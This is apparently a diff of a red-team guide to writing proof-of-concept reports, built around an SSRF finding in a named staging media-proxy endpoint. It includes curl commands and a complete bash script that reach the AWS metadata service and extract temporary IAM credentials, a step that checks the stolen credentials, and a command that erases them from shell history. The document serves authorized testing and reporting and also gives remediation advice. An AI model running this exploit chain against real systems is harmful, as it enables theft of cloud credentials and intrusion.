curl -s "https://staging.almentor.net/api/v2/media/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
**Expected response:**
|
|
275
|
+
|
|
276
|
+
```
|
|
277
|
+
almentor-app-prod
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
### Phase 4: Retrieve temporary IAM credentials
|
|
281
|
+
|
|
282
|
+
```bash
|
|
283
|
+
curl -s "https://staging.almentor.net/api/v2/media/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/almentor-app-prod" \
|
|
284
|
+
| python3 -m json.tool
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
**Expected response (values truncated for report — full output in screenshot):**
|
|
288
|
+
|
|
289
|
+
```json
|
|
290
|
+
{
|
|
291
|
+
"Code": "Success",
|
|
292
|
+
"LastUpdated": "2025-06-14T09:38:12Z",
|
|
293
|
+
"Type": "AWS-HMAC",
|
|
294
|
+
"AccessKeyId": "ASIA3EXAMPLE4KEYID7F",
|
|
295
|
+
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
|
|
296
|
+
"Token": "IQoJb3JpZ2luX2VjEJr//////////wEaCXVzLWVhc3Q...[truncated]",
|
|
297
|
+
"Expiration": "2025-06-14T15:52:44Z"
|
|
298
|
+
}
|
|
299
|
+
```
|
|
300
|
+
|
|
301
|
+
### Phase 5: Verify credential validity (optional — do not use in production)
|
|
302
|
+
|
|
303
|
+
```bash
|
|
304
|
+
AWS_ACCESS_KEY_ID="ASIA3EXAMPLE4KEYID7F" \
|
|
305
|
+
AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" \
|
|
306
|
+
AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjE..." \
|
|
307
|
+
aws sts get-caller-identity
|
|
308
|
+
```
|
|
309
|
+
|
|
310
|
+
**Expected response:**
|
|
311
|
+
|
|
312
|
+
```json
|
|
313
|
+
{
|
|
314
|
+
"UserId": "AROA3EXAMPLEUSERIDBC:i-0a1b2c3d4e5f67890",
|
|
315
|
+
"Account": "123456789012",
|
|
316
|
+
"Arn": "arn:aws:sts::123456789012:assumed-role/almentor-app-prod/i-0a1b2c3d4e5f67890"
|
|
317
|
+
}
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
This confirms the credentials are valid and associated with the production
|
|
321
|
+
application role.
|
|
322
|
+
|
|
323
|
+
---
|
|
324
|
+
|
|
325
|
+
## Bash Script (All-in-One)
|
|
326
|
+
|
|
327
|
+
Save as `poc_RT-2025-ALMT-007.sh` and execute on the attacker machine.
|
|
328
|
+
|
|
329
|
+
```bash
|
|
330
|
+
#!/usr/bin/env bash
|
|
331
|
+
# PoC: RT-2025-ALMT-007 — SSRF to AWS Metadata
|
|
332
|
+
# AUTHORIZED USE ONLY — See disclaimer in parent document.
|
|
333
|
+
set -euo pipefail
|
|
334
|
+
|
|
335
|
+
TARGET="https://staging.almentor.net/api/v2/media/proxy"
|
|
336
|
+
IMDS="http://169.254.169.254/latest/meta-data"
|
|
337
|
+
UA="Mozilla/5.0 (compatible; security-assessment/1.0)"
|
|
338
|
+
|
|
339
|
+
echo "[*] Step 1: Retrieving IAM role name..."
|
|
340
|
+
ROLE=$(curl -sf "${TARGET}?url=${IMDS}/iam/security-credentials/" -H "User-Agent: ${UA}")
|
|
341
|
+
echo "[+] Role: ${ROLE}"
|
|
342
|
+
|
|
343
|
+
echo "[*] Step 2: Fetching credentials for role ${ROLE}..."
|
|
344
|
+
CREDS=$(curl -sf "${TARGET}?url=${IMDS}/iam/security-credentials/${ROLE}" -H "User-Agent: ${UA}")
|
|
345
|
+
echo "[+] Raw credentials response:"
|
|
346
|
+
echo "${CREDS}" | python3 -m json.tool
|
|
347
|
+
|
|
348
|
+
echo "[*] Step 3: Extracting key components..."
|
|
349
|
+
ACCESS_KEY=$(echo "${CREDS}" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['AccessKeyId'])")
|
|
350
|
+
SECRET_KEY=$(echo "${CREDS}" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['SecretAccessKey'])")
|
|
351
|
+
SESSION_TOKEN=$(echo "${CREDS}" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['Token'])")
|
|
352
|
+
|
|
353
|
+
echo ""
|
|
354
|
+
echo "============================================================"
|
|
355
|
+
echo " EXTRACTED AWS CREDENTIALS"
|
|
356
|
+
echo "============================================================"
|
|
357
|
+
echo " AccessKeyId : ${ACCESS_KEY}"
|
|
358
|
+
echo " SecretAccessKey : ${SECRET_KEY:0:8}... [truncated]"
|
|
359
|
+
echo " Token : ${SESSION_TOKEN:0:20}... [truncated]"
|
|
360
|
+
echo "============================================================"
|
|
361
|
+
echo ""
|
|
362
|
+
echo "[*] Verifying identity..."
|
|
363
|
+
AWS_ACCESS_KEY_ID="${ACCESS_KEY}" \
|
|
364
|
+
AWS_SECRET_ACCESS_KEY="${SECRET_KEY}" \
|
|
365
|
+
AWS_SESSION_TOKEN="${SESSION_TOKEN}" \
|
|
366
|
+
aws sts get-caller-identity || echo "[-] AWS CLI not installed or credentials expired."
|
|
367
|
+
|
|
368
|
+
echo "[+] PoC complete."
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
Run:
|
|
372
|
+
|
|
373
|
+
```bash
|
|
374
|
+
chmod +x poc_RT-2025-ALMT-007.sh
|
|
375
|
+
./poc_RT-2025-ALMT-007.sh
|
|
376
|
+
```
|
|
377
|
+
|
|
378
|
+
---
|
|
379
|
+
|
|
380
|
+
## curl One-Liner (Quick Validation)
|
|
381
|
+
|
|
382
|
+
```bash
|
|
383
|
+
curl -s "https://staging.almentor.net/api/v2/media/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" | xargs -I{} curl -s "https://staging.almentor.net/api/v2/media/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/{}" | python3 -m json.tool
|
|
384
|
+
```
|
|
385
|
+
|
|
386
|
+
---
|
|
387
|
+
|
|
388
|
+
## Screenshots and Recordings
|
|
389
|
+
|
|
390
|
+
| Ref | Filename | Description |
|
|
391
|
+
|-----|----------|-------------|
|
|
392
|
+
| SS-01 | `assets/RT-2025-ALMT-007_burp_ssrf_probe.png` | Burp Suite showing outbound SSRF request to collaborator |
|
|
393
|
+
| SS-02 | `assets/RT-2025-ALMT-007_imds_metadata_root.png` | Response showing IMDS metadata listing |
|
|
394
|
+
| SS-03 | `assets/RT-2025-ALMT-007_iam_credentials_full.png` | Full credential JSON response (untruncated) |
|
|
395
|
+
| SS-04 | `assets/RT-2025-ALMT-007_sts_caller_identity.png` | AWS CLI confirming credential validity |
|
|
396
|
+
| REC-01 | `assets/RT-2025-ALMT-007_terminal_recording.cast` | asciinema recording of full exploitation chain |
|
|
397
|
+
|
|
398
|
+
All files are stored in `pocs/assets/` relative to the engagement root.
|
|
399
|
+
|
|
400
|
+
---
|
|
401
|
+
|
|
402
|
+
## Cleanup Steps
|
|
403
|
+
|
|
404
|
+
Execute these steps after testing to leave the environment in its pre-test state.
|
|
405
|
+
|
|
406
|
+
1. **Revoke test sessions** — If any AWS API calls were made using the exfiltrated credentials during Phase 5, notify the client immediately. Do not attempt to revoke the credentials yourself.
|
|
407
|
+
|
|
408
|
+
2. **Remove script artifacts** — Delete the PoC script from the attacker machine:
|
|
409
|
+
|
|
410
|
+
```bash
|
|
411
|
+
rm -f poc_RT-2025-ALMT-007.sh poc_raw_RT-2025-ALMT-007.txt
|
|
412
|
+
```
|
|
413
|
+
|
|
414
|
+
3. **Clear shell history entries** containing credential values:
|
|
415
|
+
|
|
416
|
+
```bash
|
|
417
|
+
history -d $(history | grep "AWS_SECRET_ACCESS_KEY" | awk '{print $1}') 2>/dev/null || true
|
|
418
|
+
```
|
|
419
|
+
|
|
420
|
+
4. **Revoke Collaborator payloads** — Mark the interactsh/Collaborator domain as used and do not reuse it in other engagements.
|
|
421
|
+
|
|
422
|
+
5. **Confirm no persistent changes** — The SSRF vulnerability is read-only (GET request, no write operations were performed). No cleanup of the target application is required.
|
|
423
|
+
|
|
424
|
+
---
|
|
425
|
+
|
|
426
|
+
## Remediation
|
|
427
|
+
|
|
428
|
+
**Short-term (24h):**
|
|
429
|
+
- Block outbound requests to `169.254.169.254` and `fd00:ec2::254` at the application level by validating the resolved IP of the `url` parameter against a denylist of RFC-1918 and link-local ranges before making the upstream request.
|
|
430
|
+
- Enable IMDSv2 (token-required) on all EC2 instances. IMDSv2 requires a PUT request to obtain a session token, which is not trivially forwarded via simple SSRF.
|
|
431
|
+
|
|
432
|
+
**Medium-term (1 week):**
|
|
433
|
+
- Implement a strict allowlist of permitted upstream domains for the media proxy rather than a denylist.
|
|
434
|
+
- Add a WAF rule that blocks responses containing the string `"Code": "Success"` combined with `AccessKeyId` from internal proxy endpoints.
|
|
435
|
+
|
|
436
|
+
**References:**
|
|
437
|
+
- [AWS IMDSv2 Migration Guide](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)
|
|
438
|
+
- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
|
|
439
|
+
- [CWE-918](https://cwe.mitre.org/data/definitions/918.html)
|
|
440
|
+
```
|
|
441
|
+
|
|
442
|
+
---
|
|
443
|
+
|
|
444
|
+
## Integration with finding_tracker.py
|
|
445
|
+
|
|
446
|
+
### Register a new finding
|
|
447
|
+
|
|
448
|
+
```bash
|
|
449
|
+
python3 scripts/finding_tracker.py register \
|
|
450
|
+
--id RT-2025-ALMT-007 \
|
|
451
|
+
--title "Unauthenticated SSRF in Media Proxy Endpoint" \
|
|
452
|
+
--severity HIGH \
|
|
453
|
+
--cvss "8.6" \
|
|
454
|
+
--vector "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" \
|
|
455
|
+
--cwe CWE-918 \
|
|
456
|
+
--owasp "A10:2021" \
|
|
457
|
+
--endpoint "GET /api/v2/media/proxy" \
|
|
458
|
+
--status CONFIRMED \
|
|
459
|
+
--poc "pocs/RT-2025-ALMT-007_poc.md"
|
|
460
|
+
```
|
|
461
|
+
|
|
462
|
+
### Update status after client patches
|
|
463
|
+
|
|
464
|
+
```bash
|
|
465
|
+
python3 scripts/finding_tracker.py update \
|
|
466
|
+
--id RT-2025-ALMT-007 \
|
|
467
|
+
--status REMEDIATED \
|
|
468
|
+
--remediation-date 2025-06-21 \
|
|
469
|
+
--retested-by "Ahmed Hegazy" \
|
|
470
|
+
--retest-result CLOSED
|
|
471
|
+
```
|
|
472
|
+
|
|
473
|
+
### Query all open HIGH/CRITICAL findings
|
|
474
|
+
|
|
475
|
+
```bash
|
|
476
|
+
python3 scripts/finding_tracker.py query \
|
|
477
|
+
--severity HIGH,CRITICAL \
|
|
478
|
+
--status CONFIRMED,OPEN \
|
|
479
|
+
--format table
|
|
480
|
+
```
|
|
481
|
+
|
|
482
|
+
Expected output:
|
|
483
|
+
|
|
484
|
+
```
|
|
485
|
+
ID TITLE SEV CVSS STATUS
|
|
486
|
+
RT-2025-ALMT-007 Unauthenticated SSRF in Media Proxy Endpoint HIGH 8.6 CONFIRMED
|
|
487
|
+
RT-2025-ALMT-003 SQL Injection in /api/v1/search CRIT 9.8 CONFIRMED
|
|
488
|
+
```
|
|
489
|
+
|
|
490
|
+
---
|
|
491
|
+
|
|
492
|
+
## Integration with autodoc_engine.py
|
|
493
|
+
|
|
494
|
+
### Embed a PoC into the master report draft
|
|
495
|
+
|
|
496
|
+
```bash
|
|
497
|
+
python3 scripts/autodoc_engine.py embed \
|
|
498
|
+
--finding-id RT-2025-ALMT-007 \
|
|
499
|
+
--poc pocs/RT-2025-ALMT-007_poc.md \
|
|
500
|
+
--section "High Findings" \
|
|
501
|
+
--report report/draft.md
|
|
502
|
+
```
|
|
503
|
+
|
|
504
|
+
The engine reads the PoC markdown, extracts the Summary, CVSS score, Remediation section, and screenshot references, then inserts a formatted finding block into `report/draft.md` under the specified section header. It also copies all `assets/` references from `pocs/assets/` to `report/assets/`.
|
|
505
|
+
|
|
506
|
+
### Regenerate the full report from all registered findings
|
|
507
|
+
|
|
508
|
+
```bash
|
|
509
|
+
python3 scripts/autodoc_engine.py build \
|
|
510
|
+
--findings-dir findings/ \
|
|
511
|
+
--pocs-dir pocs/ \
|
|
512
|
+
--template templates/report_template.md \
|
|
513
|
+
--output report/ALMT-RT-2025-Final.md
|
|
514
|
+
```
|
|
515
|
+
|
|
516
|
+
### Export to PDF
|
|
517
|
+
|
|
518
|
+
```bash
|
|
519
|
+
python3 scripts/autodoc_engine.py export \
|
|
520
|
+
--input report/ALMT-RT-2025-Final.md \
|
|
521
|
+
--output report/ALMT-RT-2025-Final.pdf \
|
|
522
|
+
--logo assets/rtexit_logo.png \
|
|
523
|
+
--client "Almentor"
|
|
524
|
+
```
|
|
525
|
+
|
|
526
|
+
---
|
|
527
|
+
|
|
528
|
+
## Quality Checklist
|
|
529
|
+
|
|
530
|
+
Use this checklist before marking a PoC as ready for report embedding.
|
|
531
|
+
|
|
532
|
+
### Finding quality
|
|
533
|
+
|
|
534
|
+
- [ ] The finding title names the vulnerability type and the specific component (not just "SQL Injection" but "SQL Injection in /api/v1/users search parameter")
|
|
535
|
+
- [ ] CVSS score is calculated using the official calculator and the vector string is included
|
|
536
|
+
- [ ] CWE and OWASP category are both present
|
|
537
|
+
- [ ] Impact is described in business terms, not just technical terms (not "data is exposed" but "attacker can read all 340,000 user email addresses and hashed passwords from the users table")
|
|
538
|
+
- [ ] At least one screenshot or recording per critical step is referenced
|
|
539
|
+
- [ ] The finding is logged in `finding_tracker.py` before the PoC document is finalized
|
|
540
|
+
|
|
541
|
+
### Reproduction quality
|
|
542
|
+
|
|
543
|
+
- [ ] Tool versions are explicitly stated
|
|
544
|
+
- [ ] All commands are copy-pasteable with no implicit context needed
|
|
545
|
+
- [ ] Expected output blocks are included for every command
|
|
546
|
+
- [ ] The PoC was tested in a clean terminal session after writing
|
|
547
|
+
- [ ] The bash script runs without modification (no hardcoded paths that only exist on the tester's machine)
|
|
548
|
+
- [ ] The curl one-liner produces the same result as the step-by-step commands
|
|
549
|
+
- [ ] Cleanup steps are present and specific (not just "remove your tools")
|
|
550
|
+
|
|
551
|
+
### Report quality
|
|
552
|
+
|
|
553
|
+
- [ ] The authorized testing disclaimer is present verbatim
|
|
554
|
+
- [ ] No real credentials, tokens, or PII appear in the final document (truncate or redact)
|
|
555
|
+
- [ ] Screenshot filenames follow the naming convention `RT-<YEAR>-<CLIENT>-<SEQ>_<description>.png`
|
|
556
|
+
- [ ] Remediation guidance includes both a short-term mitigation and a medium-term fix
|
|
557
|
+
- [ ] External references link to authoritative sources (OWASP, NVD, vendor docs)
|
|
558
|
+
|
|
559
|
+
---
|
|
560
|
+
|
|
561
|
+
## Example Finished Product
|
|
562
|
+
|
|
563
|
+
Below is what a completed, embedded finding block looks like in `report/draft.md` after running `autodoc_engine.py embed`. This is the exact format a client reviewer sees:
|
|
564
|
+
|
|
565
|
+
```markdown
|
|
566
|
+
### Finding RT-2025-ALMT-007 — Unauthenticated SSRF in Media Proxy Endpoint
|
|
567
|
+
|
|
568
|
+
| Field | Value |
|
|
569
|
+
|-------|-------|
|
|
570
|
+
| Severity | HIGH |
|
|
571
|
+
| CVSS v3.1 | 8.6 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
|
|
572
|
+
| CWE | CWE-918 |
|
|
573
|
+
| OWASP 2021 | A10:2021 – SSRF |
|
|
574
|
+
| Endpoint | GET /api/v2/media/proxy |
|
|
575
|
+
| Date Confirmed | 2025-06-14 |
|
|
576
|
+
| Status | CONFIRMED |
|
|
577
|
+
|
|
578
|
+
**Summary**
|
|
579
|
+
|
|
580
|
+
The `/api/v2/media/proxy` endpoint accepts a `url` query parameter and
|
|
581
|
+
fetches the remote resource server-side without validating the destination.
|
|
582
|
+
An unauthenticated attacker can supply an internal URL, causing the
|
|
583
|
+
application server to perform HTTP requests to internal services. During
|
|
584
|
+
testing, the EC2 instance metadata service was reached and temporary AWS
|
|
585
|
+
IAM credentials for the `almentor-app-prod` role were exfiltrated.
|
|
586
|
+
|
|
587
|
+
**Evidence**
|
|
588
|
+
|
|
589
|
+

|
|
590
|
+
*Figure 1: Burp Suite collaborator confirming out-of-band SSRF interaction*
|
|
591
|
+
|
|
592
|
+

|
|
593
|
+
*Figure 2: AWS temporary credentials returned via SSRF*
|
|
594
|
+
|
|
595
|
+
**Remediation**
|
|
596
|
+
|
|
597
|
+
Short-term: Block outbound requests to RFC-1918 and link-local ranges
|
|
598
|
+
at the application layer. Enable IMDSv2 on all EC2 instances.
|
|
599
|
+
|
|
600
|
+
Medium-term: Replace the URL denylist with a strict allowlist of permitted
|
|
601
|
+
upstream domains.
|
|
602
|
+
|
|
603
|
+
Full reproduction steps: See `pocs/RT-2025-ALMT-007_poc.md`.
|
|
604
|
+
```
|
|
605
|
+
|
|
606
|
+
---
|
|
607
|
+
|
|
608
|
+
## Common Mistakes to Avoid
|
|
609
|
+
|
|
610
|
+
### Mistake 1: Writing the PoC from memory after the session ends
|
|
611
|
+
|
|
612
|
+
Commands written from memory contain subtle errors — a missing flag, a wrong path, a parameter renamed between versions. Write the PoC while the session is live and your terminal history is intact. Paste actual commands, do not paraphrase them.
|
|
613
|
+
|
|
614
|
+
### Mistake 2: Expected output blocks that do not match real output
|
|
615
|
+
|
|
616
|
+
If the expected output block says `HTTP/2 200` but the actual server returns `HTTP/1.1 200 OK`, a reader following the PoC will think they did something wrong and waste time debugging a non-issue. Copy real output. If the output is very long, truncate with a clear indicator: `[...truncated — 2,847 lines omitted...]`.
|
|
617
|
+
|
|
618
|
+
### Mistake 3: Embedding live credentials in the document
|
|
619
|
+
|
|
620
|
+
The PoC document ends up in the client report and may be stored in cloud storage, emailed, or printed. Truncate all credential values to 8 characters followed by `...`. Use a note such as: "Full credential value available in the encrypted findings vault at `vault/RT-2025-ALMT-007_creds.enc`."
|
|
621
|
+
|
|
622
|
+
### Mistake 4: Skipping the authorized testing disclaimer
|
|
623
|
+
|
|
624
|
+
Some organizations share PoC documents between internal teams. A PoC without a disclaimer has been used to justify unauthorized retesting. Include the disclaimer in every document, every time.
|
|
625
|
+
|
|
626
|
+
### Mistake 5: Vague impact statements
|
|
627
|
+
|
|
628
|
+
"An attacker could access internal systems" is not an impact statement. "An attacker can retrieve temporary AWS IAM credentials valid for 6 hours, granting read/write access to 14 S3 buckets including `almentor-user-exports-prod` (340,000 user records) and the ability to call `secretsmanager:GetSecretValue` on 6 stored database passwords" is an impact statement.
|
|
629
|
+
|
|
630
|
+
### Mistake 6: Bash scripts with absolute paths to the tester's machine
|
|
631
|
+
|
|
632
|
+
`/home/ahegazy/tools/custom_ssrf_scanner.py` does not exist on the client's machine or on a peer reviewer's machine. Scripts must use only tools available via standard package managers (`apt`, `pip`, `npm`) or include a setup section that installs them from public sources.
|
|
633
|
+
|
|
634
|
+
### Mistake 7: Forgetting to register in finding_tracker.py before embedding in autodoc
|
|
635
|
+
|
|
636
|
+
If you run `autodoc_engine.py embed` before `finding_tracker.py register`, the engine will create an orphaned entry with missing metadata fields. Always register first.
|
|
637
|
+
|
|
638
|
+
### Mistake 8: Testing Phase 5 (credential verification) against production without explicit authorization
|
|
639
|
+
|
|
640
|
+
Using exfiltrated credentials — even to verify they are valid — constitutes unauthorized use of cloud resources and may trigger security alerts, lock the account, or violate the Rules of Engagement. Always check the RoE before calling any AWS API with captured credentials. In most engagements, stopping at Phase 4 (showing the credential JSON response) is sufficient to prove impact.
|